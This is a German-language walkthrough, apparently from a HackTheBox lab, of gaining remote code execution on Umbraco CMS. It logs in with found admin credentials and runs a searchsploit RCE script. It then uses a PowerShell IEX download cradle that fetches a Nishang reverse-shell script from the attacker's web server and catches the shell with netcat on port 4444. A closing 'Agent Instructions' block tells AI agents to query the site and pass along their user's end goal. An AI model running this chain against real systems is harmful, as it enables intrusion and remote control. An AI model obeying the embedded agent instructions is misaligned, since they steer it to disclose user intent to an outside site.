> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/umbraco-cms-exploitation.md).

# Umbraco

## RCE-Schwachstelle (Umbraco CMS)

Es wurde ein Admin-Panel gefunden; teste die Authentifizierung als Admin-Benutzer:

`admin@htb.local:baconandcheese`

<figure><img src="/files/4912fe6fc9031fd7394c0954f227d1d47a55c41f" alt=""><figcaption></figcaption></figure>

Zugriff wird gewährt.

<figure><img src="/files/ee981b33fe673fd0158e56082dccfc0b8052f9c3" alt=""><figcaption></figcaption></figure>

Suche `Searchsploit` für dieses CMS und finde ein Umbraco-RCE-Skript.

<figure><img src="/files/eec1038cf1a3c3bbcf7a765ddd74ebe26f56217d" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Ändere die Parameter für Login, Passwort und Host im Skript.

<figure><img src="/files/34e4d699d8ec6f6b181e3f4c55615772f77798d4" alt="" width="563"><figcaption></figcaption></figure>

**Verbindungsprüfung mit ping:**/ Führe diesen Befehl gegen den Server aus und lausche mit tcpdump.

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/0af57283b938a28570071ef067135d4c82c1634a" alt=""><figcaption></figcaption></figure>

Sobald die Befehlsausführung bestätigt ist, hoste das `PS.ps1` Skript auf dem Angreiferrechner.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Füge die folgende Zeile am Ende des Skripts hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/95c78ae9849fdbc1b82d0775b95735a896e33bea" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` mit einem Webserver:

```bash
python3 -m http.server 80
```

Passe dann den Befehl so an, dass er auf den Webserver des Angreifers verweist:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Starte schließlich einen Listener auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/8327054c624144ead29994ef02584ae90cf3f6a0" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
